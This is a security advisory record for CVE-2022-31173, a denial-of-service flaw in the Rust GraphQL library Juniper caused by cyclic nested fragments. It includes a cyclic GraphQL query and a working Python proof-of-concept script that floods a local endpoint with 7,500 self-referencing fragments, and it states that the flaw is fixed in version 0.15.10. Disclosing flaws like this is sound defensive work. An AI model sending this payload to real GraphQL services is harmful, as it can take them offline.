{"id":"GHSA-4rx6-g5vg-5f3j","revision":"24969442e5f241ffaf6dd101700186ad","records":[{"revision":"24969442e5f241ffaf6dd101700186ad","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"GHSA-4rx6-g5vg-5f3j","aliases":["CVE-2022-31173","RUSTSEC-2022-0038"],"title":"Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow","description":"### GraphQL behaviour\n\nNested fragment in GraphQL might be quite hard to handle depending on the implementation language.\nSome language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.\n\n```graphql\n# Infinite loop example\nquery {\n    ...a\n}\n\nfragment a on Query {\n    ...b\n}\n\nfragment b on Query {\n    ...a\n}\n```\n\n### POC TLDR\nWith max_size being the number of nested fragment generated.\nAt max_size=7500, it should instantly raise:\n\n![](https://i.imgur.com/wXbUx8l.png)\n\nHowever, with a lower size, you will overflow the memory after some iterations.\n\n### Reproduction steps (Juniper)\n\n```\ngit clone https://github.com/graphql-rust/juniper.git\ncd juniper\n```\n\nSave this POC as poc.py\n\n```python\nimport requests\nimport time\nimport json\nfrom itertools import permutations\n\nprint('=== Fragments POC ===')\n\nurl = 'http://localhost:8080/graphql'\n\nmax_size = 7500\nperms = [''.join(p) for p in permutations('abcefghijk')]\nperms = perms[:max_size]\n\nfragment_payloads = ''\nfor i, perm in enumerate(perms):\n    next_perm = perms[i+1] if i < max_size-1 else perms[0]\n    fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'\n\npayload = {'query':'query{\\n  ...' + perms[0] + '\\n}' + fragment_payloads,'variables':{},'operationName':None}\n\nheaders = {\n  'Content-Type': 'application/json',\n}\n\ntry:\n    response = requests.request('POST', url, headers=headers, json=payload)\n    print(response.text)\nexcept requests.exceptions.ConnectionError:\n    print('Connection closed, POC worked.')\n```\n\n```\ncargo run\n[in separate shell] python3 poc.py\n```\n\n### Credits\n\n[@Escape-Technologies](https://escape.tech)\n\n@c3b5aw \n@MdotTIM \n@karimhreda \n","state":0,"publishedAt":"2022-07-29T22:29:22+00:00","modifiedAt":"2026-02-04T03:36:46.785082+00:00","affected":[{"ecosystem":"crates.io","name":"juniper","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.15.10"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/graphql-rust/juniper/security/advisories/GHSA-4rx6-g5vg-5f3j","https://nvd.nist.gov/vuln/detail/CVE-2022-31173","https://github.com/graphql-rust/juniper/commit/2b609ee057be950e3454b69fadc431d120e407bb","https://github.com/graphql-rust/juniper/commit/8d28cdba6eb10f53490ba41d1b5cb40506c2de22","https://github.com/graphql-rust/juniper","https://github.com/graphql-rust/juniper/blob/juniper-v0.15.10/juniper/CHANGELOG.md#01510-2022-07-28","https://rustsec.org/advisories/RUSTSEC-2022-0038.html"],"sourceUrl":"https://github.com/advisories/GHSA-4rx6-g5vg-5f3j","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-4rx6-g5vg-5f3j","identifiers":["GHSA-4rx6-g5vg-5f3j","CVE-2022-31173","RUSTSEC-2022-0038"]},"retained":false,"historicalAffected":[]}],"coverage":[]}